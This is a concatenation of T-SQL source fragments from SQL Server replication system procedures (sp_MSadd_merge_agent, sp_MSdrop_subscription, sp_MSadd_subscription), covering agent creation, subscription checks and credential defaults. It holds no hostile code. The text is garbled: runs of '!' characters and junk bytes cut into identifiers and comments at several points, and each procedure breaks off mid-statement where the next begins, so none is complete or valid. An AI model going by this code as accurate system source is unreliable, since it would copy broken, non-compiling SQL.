	@subscriber_password 			nvarchar(524) = NULL,
	@publisher_security_mode 		smallint = NULL,
	@publisher_login				sysname = NULL,
	@publisher_password 			nvarchar(524) = NULL,
	-- used for jobstep level proxy account
	@job_login						nvarchar(257) = NULL,
	@job_password					sysname = NULL,
	@internal						sysname = N'PRE-YUKON',		-- Can be: 'PRE-YUKON', 'YUKON ADD SUB', 'YUKON ADD AGENT'
	@publisher_engine_edition		int = NULL
	
) 
AS
begin
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @retcode        int
    DECLARE @publisher_id   smallint
    DECLARE @subscriber_id  smallint
    DECLARE @profile_id     int
    DECLARE @merge_type     int
    DECLARE @command        nvarchar(4000)

    DECLARE @subscriber_datasource_type     int     /* 0 SQL Server, 1 ODBC, 2 Jet, 3 OLEDB */
    DECLARE @distributor                    sysname 
    DECLARE @database                       sysname
    DECLARE @agent_id                       int
    DECLARE @category_name                  sysname
    DECLARE @dsn_subscriber                 tinyint
    DECLARE @jet_subscriber                 tinyint
    DECLARE @oledb_subscriber               tinyint
    DECLARE @exchange_subscriber            tinyint
    DECLARE @oracle_subscriber              tinyint
    DECLARE @db2universal_subscriber        tinyint
    DECLARE @platform_nt                    binary
    DECLARE @provider_name					sysname
	DECLARE @merge_job_step_uid				uniqueidentifier
	DECLARE @subscriber_encrypted_password 	nvarchar(524)
	DECLARE @publisher_encrypted_password 	nvarchar(524)
	
    set @distributor = @@SERVERNAME

    set @dsn_subscriber = 1    /* Const: subscriber type 'dsn' */ 
    set @jet_subscriber = 2   
    set @oledb_subscriber = 3 
    set @exchange_subscriber = 4
    set @oracle_subscriber = 5 
    set @db2universal_subscriber = 6

    set @platform_nt = 0x1  

    set @merge_job_step_uid = NULL

    -- Security Check: require sysadmin
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN 1
	END

    IF (sys.fn_MSrepl_isdistdb (DB_NAME()) != 1)
    BEGIN
	   	-- "sp_MSadd_merge_agent can only be executed in the distribution database."
        RAISERROR(21482, 16, -1, 'sp_MSadd_merge_agent', 'distribution')
        RETURN 1
    END

    IF @offloadagent IS NOT NULL
		AND @offloadagent != 0
	BEGIN
		-- "Parameter '@offloadagent' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadagent')
		RETURN 1
	END

	IF ISNULL(@offloadserver, N'') != N''
	BEGIN
		-- "Parameter '@offloadserver' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadserver')
		RETURN 1
	END
	
    -- Set null @optional_command_line to empty string to avoid string concat problem
    SELECT @optional_command_line = ISNULL(N' ' + LTRIM( RTRIM(@optional_command_line) ) + N' ', N'')
    
    /*
    ** Initializations
    */
    -- Get subscriber info
    select @subscriber_id = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@subscriber)
    select @publisher_id = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher)

    select @subscriber_datasource_type = type
        from MSsubscriber_info 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber)

	/*
	** Jet and Oracle subscribers are actually added to MSsubscriber_info as OLE DB subscribers,
	** since they can be used in transactional replication also.
	** Map the type to Jet or Oracle based on OLE DB provider name.
	*/
	if (@subscriber_datasource_type = @oledb_subscriber) 
	BEGIN
		select @provider_name = providername from master.dbo.sysservers where UPPER(srvname) = UPPER(@subscriber)
		if (upper(@provider_name) = 'MICROSOFT.JET.OLEDB.4.0')
			select @subscriber_datasource_type = @jet_subscriber
		else if (upper(@provider_name) = 'MSDAORA')
			select @subscriber_datasource_type = @oracle_subscriber
		else if (upper(@provider_name) = 'DB2OLEDB')
			select @subscriber_datasource_type = @db2universal_subscriber
	END
    
	if (@subscriber_datasource_type IS NULL)
        select @subscriber_datasource_type = 0

	-- ONLY ALLOW THIS IN 8.0 or less CASE
	IF @internal = N'PRE-YUKON'
	BEGIN
		-- if @name is not null, the proc is from DMO scripting
		-- check to see if the job is there are not, if not, reset @job_existing and
		-- @name values. This is for the case when the user generate the script at
		-- the publisher but did not re-create repl jobs at the distributor.
		if @local_job = 1 and @name is not null and 
	       @name <> N''
		begin
			if not exists (select * from msdb.dbo.sysjobs_view 
				where name = @name 
				and UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				and master_server = 0)
			begin
				set @name = null
			end
		end
	END
	
    BEGIN TRANSACTION tr_add_merge_agent
    SAVE TRANSACTION tr_add_merge_agent

    /* Code for merge agent type in MSagent_profiles */
    SELECT @merge_type = 4

    SELECT @profile_id = profile_id
    FROM msdb..MSagent_profiles
    WHERE agent_type = @merge_type
        AND def_profile = 1

    IF @profile_id IS NULL
        RETURN (1)

	IF @internal = N'PRE-YUKON'
		OR @internal = N'YUKON ADD AGENT'
	BEGIN
		-- if the subscriber sec info was not provided then default
		-- the vals to the values provided durring sp_addsubscriber...
		-- this is only possible when called by SYSADMIN or 8.0 pub.
		IF @subscriber_security_mode is NULL
		BEGIN
			--Get default task parameter values from MSsubscriber_info 
			SELECT @subscriber_security_mode = security_mode,
					@subscriber_login = login,
					@subscriber_password = password
				FROM MSsubscriber_info
				WHERE UPPER(publisher) = UPPER(@publisher) 
					AND UPPER(subscriber) = UPPER(@subscriber)

			IF @subscriber_security_mode IS NULL
			BEGIN
				SELECT @subscriber_security_mode = 1,
						@subscriber_login = '',
						@subscriber_password = newid()

				-- Encrypt the password before storing
				EXEC @retcode = sys.sp_MSreplencrypt @subscriber_password OUTPUT
				IF @@ERROR <> 0 OR  @retcode <> 0
					GOTO UNDO
			END
		END
		ELSE
		BEGIN
			IF @subscriber_security_mode = 1
			BEGIN
				SELECT @subscriber_login = N'',
						@subsc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	.k:vbriber_password = newid()
			END

			EXEC @retcode = sys.sp_MSreplencrypt @subscriber_password OUTPUT
			IF @@error <> 0 or @retcode <> 0
		    	GOTO UNDO
		END

		-- if the publisher sec info was not provided then default
		-- the vals to the values provided durring sp_adddistpublisher...
		-- this is only possible when called by SYSADMIN or 8.0 pub.
		IF @publisher_security_mode is NULL
		BEGIN
			-- if the publisher security mode was not provided then 
			-- we will fall back to the backcmpt form which is the 
			-- value found in the msdb..MSdistpublishers table...
			select @publisher_security_mode = security_mode,
					@publisher_login = login,
					@publisher_password = password
				from msdb..MSdistpublishers
				where upper(name) = upper(@publisher)
					and distribution_db = db_name()
		END
		ELSE 
		BEGIN
			IF @publisher_security_mode = 1
			BEGIN
				SELECT @publisher_login = N'',
						@publisher_password = newid()
			END

			EXEC @retcode = sys.sp_MSreplencrypt @publisher_password OUTPUT
			IF @@error <> 0 or @retcode <> 0
		    	GOTO UNDO
		END
	END
	
	IF @internal = N'PRE-YUKON'
		OR @internal = N'YUKON ADD SUB'
	BEGIN
		-- Try to drop it first
	    EXEC sys.sp_MSdrop_merge_agent 
	        @publisher = @publisher,
	        @publisher_db = @publisher_db,
	        @publication = @publication,
	        @subscriber = @subscriber,
	        @subscriber_db = @subscriber_db
	    IF @@ERROR <> 0
	        GOTO UNDO

		IF @internal = N'YUKON ADD SUB'
		BEGIN
			-- When calling it from internal = 0 we know that this is 
			-- a dummy row until the actual value is set on addpushagent
			SELECT @subscriber_security_mode = 1,
					@subscriber_login = N'',
					@subscriber_password = newid(),
					@publisher_security_mode = 1,
					@publisher_login = N'',
					@publisher_password = newid()

			EXEC @retcode = sys.sp_MSreplencrypt @subscriber_password OUTPUT
			IF @@error <> 0 or @retcode <> 0
		    	GOTO UNDO

		    EXEC @retcode = sys.sp_MSreplencrypt @publisher_password OUTPUT
			IF @@error <> 0 or @retcode <> 0
		    	GOTO UNDO
		END
	    
	    exec @retcode = sys.sp_MScheck_subscription_count_internal @mode = 1, @publisher = @publisher, @publisher_engine_edition = @publisher_engine_edition,
						@about_to_insert_new_subscription=1
		if @@error <> 0 or @retcode <> 0
			goto UNDO
		
		/* 
	    ** Insert row
	    */
	    INSERT INTO dbo.MSmerge_agents (name, publisher_id, publisher_db, publication, 
	         subscriber_id, subscriber_db, local_job, profile_id,
	         subscriber_security_mode, subscriber_login, subscriber_password, subscriber_name, 
	         publisher_security_mode, publisher_login, publisher_password)
	         VALUES ('',@publisher_id, @publisher_db, @publication, 
	         @subscriber_id, @subscriber_db, @local_job, @profile_id,
	         @subscriber_security_mode, @subscriber_login, @subscriber_password, @subscriber,
	         @publisher_security_mode, @publisher_login, @publisher_password)
	    IF @@ERROR <> 0
	        GOTO UNDO

		SELECT @agent_id = @@IDENTITY
	END
	ELSE IF @internal = N'YUKON ADD AGENT'
	BEGIN
		SELECT @agent_id = id
			FROM MSmerge_agents
			WHERE publisher_id = @publisher_id
				AND publisher_db = @publisher_db
				AND publication = @publication
				AND upper(subscriber_name) = upper(@subscriber)
				AND subscriber_db = @subscriber_db

		UPDATE MSmerge_agents
			SET subscriber_security_mode = @subscriber_security_mode,
				subscriber_login = @subscriber_login,
				subscriber_password = @subscriber_password,
				publisher_security_mode = @publisher_security_mode,
				publisher_login = @publisher_login,
				publisher_password = @publisher_password
			WHERE @agent_id = id
	END

	declare @job_existing bit
	IF @name IS NULL OR @name = N''
	begin
		SELECT @name = CONVERT(nvarchar(21),@publisher ) + '-' + CONVERT(nvarchar(21),@publisher_db) + '-' + 
						CONVERT(nvarchar(21),@publication) + '-' + CONVERT(nvarchar(21),@subscriber) + '-' +
						CONVERT(nvarchar, @agent_id)
		select @job_existing = 0
	end
	else
		select @job_existing = 1

	-- If creating a new job and the generated name already exists, re-generate the name with a 
	-- guid appended
	IF  @job_existing = 0
	BEGIN
		IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view 
						WHERE name = @name 
							AND UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
							and master_server = 0)
		BEGIN
			SELECT @name = fn_repluniquename(newid(), @publisher, @publisher_db, 
						@publication, @subscriber)
		END			
	END
	
    IF @internal = N'PRE-YUKON'
		OR @internal = N'YUKON ADD AGENT'
	BEGIN
	    if @frequency_type is NULL
	        set @frequency_type = 4     /* Daily */
	    if @frequency_interval is NULL
	        set @frequency_interval = 1
	    if @frequency_relative_interval is NULL
	        set @frequency_relative_interval = 1
	    if @frequency_recurrence_factor is NULL
	        set @frequency_recurrence_factor = 0
	    if @frequency_subday is NULL
	        set @frequency_subday = 8   /* Hour */
	    if @frequency_subday_interval is NULL
	        set @frequency_subday_interval = 1
	    if @active_start_time_of_day is NULL
	        set @active_start_time_of_day = 0
	    if @active_end_time_of_day is NULL
	        set @active_end_time_of_day = 235959
	    if @active_start_date is NULL
	        set @active_start_date = 0
	    if @active_end_date is NULL
	        set @active_end_date = 99991231

		-- Add Perfmoon instance
		dbcc addinstance ("SQL Replication Merge", @name)
		 
	   	IF @local_job = 1
	    BEGIN
			if @job_existing = 0
			begin

				/* Construct task command */

				select @command = '-Publisher ' + QUOTENAME(@publisher) + ' -PublisherDB ' + QUOTENAME(@publisher_db) + ' '
				select @command = @command + '-Publication ' + QUOTENAME(@publication) + ' '
				select @command = @command + '-Subscriber ' + QUOTENAME(@subscriber)  + ' '

				if (@subscriber_datasource_type = 0)
					select @command = @command + '-SubscriberDB ' + QUOTENAME(@subscriber_db) + ' '
	        
				if (@subscriber_datasource_type <> 0)
					select @command = @command + '-SubscriberType ' + convert(nvarchar(10),@subscriber_datasource_type) + ' '
	    
				select @command = @command + @optional_command_line
				select @command = @command + '-Distributor ' + QUOTENAME(@distributor) + ' '

				-- Always use integrated for local connection
				select @command = @command + '-DistributorSecurityMode 1 '
				
				if @hostname is not null and rtrim(ltrim(@hostname)) <> ''
					select @command = @command + '-HostName ' + quotename(@hostname) + ' '

				select @database = db_name()

				-- Get Merge category name (assumes category_id = 14)
				select @category_name = name FROM msdb.dbo.syscategories where category_id = 14

				EXEC @retcode = dbo.sp_MSadd_repl_job
						@name = @name,
						@subsystem = 'Merge',
						@server = @@SERVERNAME,
						@databasename = @database,
						@enabled = 1,
						@freqtype = @frequency_type,
						@freqinterval = @frequency_interval,
						@freqsubtype = @frequency_subday,
						@freqsubinterval = @frequency_subday_interval,
						@freqrelativeinterval = @frequency_relative_interval,
						@freqrecurrencefactor = @frequency_recurrence_factor,
						@activestartdate = @active_start_date,
						@activeenddate = @active_end_date,
						@activestarttimeofday = @active_start_time_of_day,
						@activeendtimeofday = @active_end_time_of_day,
						@command = @command,
						@category_name = @category_name,
						@failure_detection = 1,
						@agent_id = @agent_id,
						@retryattempts = 10,
						@retrydelay = 1,
						@job_login = @job_login,
						@job_password = @job_password,
						@job_id = @merge_jobid OUTPUT,
						@job_step_uid = @merge_job_step_uid OUTPUT
	            
				if @@ERROR <> 0 or @retcode <> 0
					goto UNDO

				-- no!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(UvCREATE PROCEDURE sys.sp_MSdrop_subscription
(
    @publisher sysname,
    @publisher_db sysname,
    @subscriber sysname,
    @article_id int = NULL,
    @subscriber_db sysname = NULL,
    @publication sysname = NULL,
    @article sysname = NULL
)
as
begin
    set nocount on

    declare @publisher_id smallint
    declare @subscriber_id smallint
    declare @name nvarchar (100)
    declare @retcode int
    declare @push tinyint
    declare @anonymous tinyint
    declare @keep_for_last_run bit
    declare @virtual smallint
    declare @virtual_anonymous smallint
    declare @independent_agent bit
    declare @publication_id int
    declare @subscription_type int
    declare @thirdparty_flag bit
    declare @id             int
    declare @publication_name sysname
    declare @queued_sub_precount int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_subscription', 'distribution')
        return (1)
    end

    select @push = 0        -- const: push subscription type 
    select @anonymous = 2   -- const: push subscription type 
    select @virtual = -1    -- const: virtual subscriber id 
    select @virtual_anonymous = -2  -- const: virtual anonymous subscriber id 

    -- Select the current count of the queued subscribers prior to 
    -- dropping this subscription
    select @queued_sub_precount = count(*) from dbo.MSsubscriptions 
    where update_mode in (2,3,4,5,6,7)

	-- Save off name for dummy status row
	select @publication_name = @publication

    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    -- Check if subscriber exists
    if @subscriber is null
    begin
        select @subscriber_id = @virtual
        -- hardcoded in sp_MSadd_subscription
        select @subscriber_db = 'virtual'
    end
    else
        select @subscriber_id = srvid from master.dbo.sysservers, MSsubscriber_info where 
            UPPER(srvname) = UPPER(@subscriber) and
            UPPER(subscriber) = UPPER(@subscriber) and
            UPPER(publisher) = UPPER(@publisher)
    if @subscriber_id is NULL
    begin
        raiserror (20032, 16, -1, @subscriber, @publisher) 
        return (1)
    end

    -- If publication exists this is a post 6.x publisher
    if @publication is not NULL
    begin
        select @publication_id = publication_id,
               @thirdparty_flag = thirdparty_flag
            from dbo.MSpublications where
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication
            
        -- Get article_id 
        if @article is not NULL and @article_id = 0
        begin
            select @article_id = article_id from MSarticles where 
                publisher_id = @publisher_id and
                publisher_db = @publisher_db and
                publication_id = @publication_id and
                article = @article
        end
        -- Check that subscription exists
        -- Only do the check for post 6x publisher
        if not exists (select * from dbo.MSsubscriptions where 
            publisher_id = @publisher_id and 
            publisher_db = @publisher_db and 
            publication_id = @publication_id and
            subscriber_id = @subscriber_id and
            subscriber_db = @subscriber_db)
        begin
            if @thirdparty_flag = 1
            begin
                raiserror (14050, 16, -1)
                return(1)
            end
            else
                return (0)
        end
    end

    -- get the subscription type
    -- used when dropping dist agent
    select @subscription_type = subscription_type, 
        @independent_agent = independent_agent
        from dbo.MSsubscriptions where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        (publication_id = @publication_id or
         @publication_id is NULL) and
        (@article_id is NULL or
        article_id = @article_id) and
        (subscriber_id = @subscriber_id and
        (subscriber_db = @subscriber_db or @subscriber_id = @virtual))

    begin transaction
    save transaction MSdrop_subscription

    -- Delete the subscription 
    -- For anonymous type, delete virtual anonymous subscription also
    -- if deleting the  virtual subscription 
    -- (since there can be only one subscriber_id per article, subscriber_db doesn't matter)
    delete from dbo.MSsubscriptions where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        (publication_id = @publication_id or
         @publication_id is NULL) and
        (@article_id is NULL or
        article_id = @article_id) and
        ((subscriber_id = @subscriber_id and
        (subscriber_db = @subscriber_db or @subscriber_id = @virtual)) or
        -- Delete virtual anonymous subscription 
        -- if deleting virtual subscription for a anonymous publication
       (@subscriber_id = @virtual and subscriber_id = @virtual_anonymous))

    if @@error <> 0
    begin
        if @@trancount > 0
        begin
            rollback transaction MSdrop_subscription
            commit transaction  -- to finish off the tran we started in this proc (though 
                            -- work was rolled back to savepoint)
        end
        return 1
    end
	
    -- If it is the last subscription for the distribution agent, drop the dist agent
    if not exists (select * from dbo.MSsubscriptions    where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        (publication_id = @publication_id or
        @publication_id is NULL or
         @independent_agent = 0 ) and
        independent_agent = @independent_agent and
        subscriber_id = @subscriber_id and
        subscriber_db = @subscriber_db and
        subscription_type = @subscription_type)
    begin
        -- Harded coded in sp_MSadd_subscription.
        if @independent_agent = 0
            select @publication = 'ALL'
        /*
        ** Get agentid to check history record
        */
	    select @id=id from MSdistribution_agents where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication and
        subscriber_id = @subscriber_id and
        subscriber_db = @subscriber_db

    /*
    ** If the subscription has not yet been synced, there is no need for subscriber side cleanup 
    ** therefore no need for the last agent run.
    */
    if exists (select * from MSdistribution_history where agent_id = @id)
        select @keep_for_last_run = 0 -- default is not to do cleanup
    else 
        select @keep_for_last_run = 0


    /*
    ** Delete distribution task.
    */
        execute @retcode = sys.sp_MSdrop_distribution_agent 
            @publisher_id = @publisher_id,
            @publisher_db = @publisher_db,
            @publication = @publication,
            @subscriber_id = @subscriber_id,
            @subscriber_db = @subscriber_db,
            @subscription_type = @subscription_type,
            @keep_for_last_run = @keep_for_last_run  

        if @@error <> 0 or @retcode <> 0
        begin
            if @@trancount > 0
            begin
                rollback transaction MSdrop_subscription
                commit transaction  -- to finish off the tran we started in this proc (though 
                           !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(q.v2dCREATE PROCEDURE sys.sp_MSadd_subscription
(
    @publisher sysname,
    @publisher_db sysname,
    @subscriber sysname,       
    @article_id int = NULL,
    @subscriber_db sysname = NULL,
    @status tinyint,                    -- 0 = inactive, 1 = subscribed, 2 = active 
    @subscription_seqno varbinary(16),  -- publisher's database sequence number 

    -- Post 6.5 parameters
    @publication sysname = NULL,    -- 6.x publishers will not provide this
    @article sysname = NULL,
    @subscription_type tinyint = 0,     -- 0 = push, 1 = pull, 2 = anonymous 
    @sync_type tinyint = 0,             -- 0 = none  1 = automatic snaphot  2 = no intial snapshot
    @snapshot_seqno_flag bit = 0,       -- 1 = subscription seqno is the snapshot seqno

    @frequency_type int = NULL,
    @frequency_interval int = NULL,
    @frequency_relative_interval int = NULL,
    @frequency_recurrence_factor int = NULL,
    @frequency_subday int = NULL,
    @frequency_subday_interval int = NULL,
    @active_start_time_of_day int = NULL,
    @active_end_time_of_day int = NULL,
    @active_start_date int = NULL,
    @active_end_date int = NULL,
    @optional_command_line nvarchar(4000) = '',

    -- synctran
    @update_mode tinyint = 0, -- 0=read only,1=sync tran,2=queued tran,3=failover, 
                                            -- 4=sqlqueued tran,5=sqlqueued failover,6=sqlqueued qfailover,7=qfailover
    @loopback_detection bit = 0,
    @distribution_jobid binary(16) = NULL OUTPUT,

    -- agent offload
    @offloadagent  bit = 0,
    @offloadserver sysname = NULL,

    -- If agent is already created, the package name will be ignored.		 
    @dts_package_name sysname = NULL,
    @dts_package_password nvarchar(524) = NULL,
    @dts_package_location	int = 0,
    @distribution_job_name sysname = NULL,
    @internal sysname = N'PRE-YUKON'	, -- Can be: 'PRE-YUKON', 'YUKON ADD SUB', 'YUKON ADD AGENT'
    @publisher_engine_edition int = NULL,
    @nosync_type tinyint = 0 -- 0(none), 1(replication support only), 2(initialize with backup), 3(initialize from lsn) 
)
as
begin
    set nocount on
    declare @publisher_id smallint
            ,@subscriber_id smallint
            ,@command nvarchar (4000)
            ,@type tinyint
            ,@database sysname
            ,@long_name nvarchar (255)
            ,@retcode int
            ,@login sysname
            ,@password nvarchar(524)
            ,@retryattempts int
            ,@retrydelay int
            ,@virtual smallint                       -- const: virtual subscriber id 
            ,@virtual_anonymous smallint                 -- const: virtual anonymous subscriber id 
            ,@publication_str nvarchar (32)
            ,@agent_id int
            ,@publication_id int
            ,@publication_type int
            ,@independent_agent bit
            ,@allow_pull bit
            ,@active tinyint

            ,@flushfrequency int 
            ,@frequencytype int
            ,@frequencyinterval int 
            ,@frequencyrelativeinterval int
            ,@frequencyrecurrencefactor int 
            ,@frequencysubday int 
            ,@frequencysubdayinterval int
            ,@activestarttimeofday int
            ,@activeendtimeofday int
            ,@activestartdate int 
            ,@activeenddate int 
            ,@dsn_subscriber tinyint
            ,@jet_subscriber tinyint
            ,@oledb_subscriber tinyint
            ,@thirdparty_flag bit
            ,@subscribersecuritymode smallint
            ,@subscriberlogin sysname
            ,@subscriberpassword nvarchar(524)

            ,@distributor_security_mode      int  -- 0 standard, 1 integrated
            ,@distributor_login              sysname 
            ,@distributor_password           nvarchar(524)
            ,@publisher_database_id int
            ,@platform_nt binary
            ,@anonymous_agent_id int
            ,@agent_name nvarchar(100)
            ,@publication_name sysname
            ,@subscriber_provider sysname

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_subscription', 'distribution')
        return (1)
    end

    IF @offloadagent IS NOT NULL
		AND @offloadagent != 0
	BEGIN
		-- "Parameter '@offloadagent' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadagent')
		RETURN 1
	END

	IF ISNULL(@offloadserver, N'') != N''
	BEGIN
		-- "Parameter '@offloadserver' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadserver')
		RETURN 1
	END
	
    -- Store off publication name for dummy monitor row
    select @publication_name = @publication
            -- Defined in sqlrepl.h
            -- Set null @optional_command_line to empty string to avoid string concat problem
            ,@optional_command_line = ISNULL(LTRIM(RTRIM(@optional_command_line)), N'')
            ,@dsn_subscriber = 1 -- Const: subscriber type 'dsn' 
            ,@jet_subscriber = 2   
            ,@oledb_subscriber = 3   
            ,@virtual = -1
            ,@virtual_anonymous = -2
            ,@active = 2
            ,@platform_nt = 0x1

    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0 or @@error <> 0
    begin
        return(1)
    end

    -- Check if subscriber exists
    if @subscriber is null
    begin
      select @subscriber_id = @virtual
      -- The following 2 variables are hardcoded in sp_MSget_repl_cmds_anonymous 
              ,@subscriber_db = N'virtual'
              ,@subscription_type = 0
    end
    else
        select @subscriber_id = srvid,
                @subscriber_provider = providername,
                @type = type
        from master.dbo.sysservers, MSsubscriber_info where 
            UPPER(srvname) = UPPER(@subscriber) and
            UPPER(subscriber) = UPPER(@subscriber) and
            UPPER(publisher) = UPPER(@publisher) 
    if @subscriber_id is NULL
    begin
        raiserror (20032, 16, -1, @subscriber, @publisher) 
        return (1)
    end
    
    -- Special logic for 6.5 publisher.
    -- If publisher_id, publisher_db pair is not in MSpublisher_databases then add it.  This will be used
    -- to store a publisher_database_id in the MSrepl_transactions and MSrepl_commands table.
    if @publication is null
    begin
        if not exists (select * from MSpublisher_databases where publisher_id = @publisher_id and
                            publisher_db = @publisher_db)
        begin
            insert into MSpublisher_databases (publisher_id, publisher_db, publisher_engine_edition) 
                    values (@publisher_id, @publisher_db, @publisher_engine_edition)
            if @@error <> 0
            goto UNDO
        end
    end

    -- Get publisher_database_id
    select @publisher_database_id = id from MSpublisher_databases where publisher_id = @publisher_id and
        publisher_db = @publisher_db
    if @@error <> 0
        return 1

    -- If publication exists this is a post 6.x publisher
    if @publication is not NULL
    begin
        select @publication_id = publication_id, @publication_type = publication_type,
            @independent_agent = independent_agent, @allow_pull = allow_pull,
            @thirdparty_flag = thirdparty_flag from 
            dbo.MSpublications where 
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication
        if @publication_id is NULL
        begin
     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(q/Iv2d       raiserror (20026, 11, -1, @publication)
            return (1)
        end

        -- Check if article_id exists
        if @article_id is not NULL 
        begin
            if not exists (select * from MSarticles where 
                publisher_id = @publisher_id and
                publisher_db = @publisher_db and
                article_id = @article_id)
            begin
                raiserror (20027, 11, -1, @article) 
                return (1)
            end
        end

        -- Check if article exists
        if @article is not NULL and @article_id is NULL
        begin
            select @article_id = article_id from MSarticles where 
                publisher_id = @publisher_id and
                publisher_db = @publisher_db and
                article = @article
            if @article_id is NULL
            begin
                raiserror (20027, 11, -1, @article) 
                return (1)
            end
        end
    end
    else
    begin   -- Set 6.x publishing values
        select @publication_id = 0
                ,@independent_agent = 0
                ,@allow_pull = 0
                ,@thirdparty_flag = 0
                ,@publication_type = NULL
    end

    -- If the subscriber is an Oracle subscriber and loopback detection has been enabled
    -- verify that the subscriber is also a publisher
    if (UPPER(@subscriber_provider) = UPPER('OraOLEDB.Oracle') OR
        UPPER(@subscriber_provider) = UPPER('MSDAORA'))        AND
        @type = @oledb_subscriber							   AND
        @loopback_detection = 1
    begin
		-- All of the following settings are required for Oracle bi-directional publishing
		if NOT @sync_type = 2
		begin
			raiserror (21744, 16, -1, 'sync_type', 'none') 
			return 1
		end
		
		if NOT @subscription_type = 0
		begin
			raiserror (21744, 16, -1, 'subscription_type', 'push') 
			return 1
		end
		
		if NOT @status = 2
		begin
			raiserror (21744, 16, -1, 'status', 'active') 
			return 1
		end

		if NOT @independent_agent = 1
		begin
			raiserror (21744, 16, -1, 'independent_agent', 'true') 
			return 1
		end
		
		--exec @retcode = sys.sp_ORACheckLoopbackSupport @subscriber
		--if @retcode <> 0 or @@error <> 0
		--	return 1
    end

    -- Make sure subscription does not already exist
    if exists (select * from dbo.MSsubscriptions where 
        publisher_id = @publisher_id and 
        publisher_db = @publisher_db and 
        publication_id = @publication_id and
        article_id = @article_id and
        subscriber_id = @subscriber_id and
        subscriber_db = @subscriber_db)
    begin
        if @thirdparty_flag = 1
        begin
            raiserror (14058, 16, -1)
            return(1)
        end
        else
        begin
            exec @retcode = sys.sp_MSdrop_subscription
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @subscriber = @subscriber,
                @article_id = @article_id,
                @subscriber_db = @subscriber_db,
                @publication = @publication,
                @article = @article
            if @retcode <> 0 or @@error <> 0
            begin
                return(1)
            end
        end
    end
    -- Check to see if we need to add a new distribution agent for the subscription.
    -- It is database wide for non independent agent publications, and publication wide otherwise.
    -- Check to see if the distribution agent for this subscription is already added.

    select @agent_id = NULL
    select @agent_id = agent_id from 
        dbo.MSsubscriptions where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        subscription_type = @subscription_type and
        (publication_id = @publication_id or @independent_agent = 0) and
        independent_agent = @independent_agent and 
        subscriber_id = @subscriber_id and
        subscriber_db = @subscriber_db

    if @subscriber_id = @virtual
    begin
        select @anonymous_agent_id = agent_id from 
            dbo.MSsubscriptions where
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            subscription_type = @subscription_type and
            (publication_id = @publication_id or @independent_agent = 0) and
            independent_agent = @independent_agent and 
            subscriber_id = @virtual_anonymous and
            subscriber_db = @subscriber_db
    end
    
    begin tran
    save transaction MSadd_subscription

    --
    -- SKU based subscription count check
    -- This should be done just before creating distribution agent
    -- and adding entry in MSsubscriptions
    --
    -- Skip this check for snapshot publications
    --
    if (@publication_type != 1)
    begin
        --
        -- Since subscription addition is happening at an article level
        -- do the subscription count check once per publication
        --
        if not exists (select * from dbo.MSsubscriptions 
                    where publisher_id = @publisher_id 
                        and publisher_db = @publisher_db 
                        and publication_id = @publication_id 
                        and subscriber_id = @subscriber_id 
                        and subscriber_db = @subscriber_db
                        and subscription_type = @subscription_type)
        begin
            --
            -- we are adding the first article subscription to this publication
            --
            exec @retcode = sys.sp_MScheck_subscription_count_internal @mode=0 
                                            ,@publisher = @publisher
                                            ,@publisher_engine_edition = @publisher_engine_edition
                                            ,@about_to_insert_new_subscription = 1
            if (@retcode != 0 or @@error != 0)
                goto UNDO
        end
    end
    --
    -- process the distribution agent
    --
    if @agent_id is NOT NULL
    begin
        select @distribution_jobid = job_id from MSdistribution_agents
            where id = @agent_id
    end
    else
    begin
        -- Create distribution agent
        -- Do not create local job if
        -- 1. virtual subscription 
        -- 2. no subscriber information, return (6.x legacy)
        -- 3. pull (this sp will not be called for anonymous subscription)

        declare @local_job bit

        if @subscriber_id = @virtual or 
            not exists (select * from MSsubscriber_info where
                UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber)) OR 
            @subscription_type = 1 

            select @local_job = 0
        else
            select @local_job = 1

        -- 'ALL' is reserved for indication all publications
        -- Hardcoded in sp_MSenum*... 
        -- Note! @publication is overwritten
        
        if @independent_agent = 0
            select @publication = 'ALL'

        if @local_job = 1
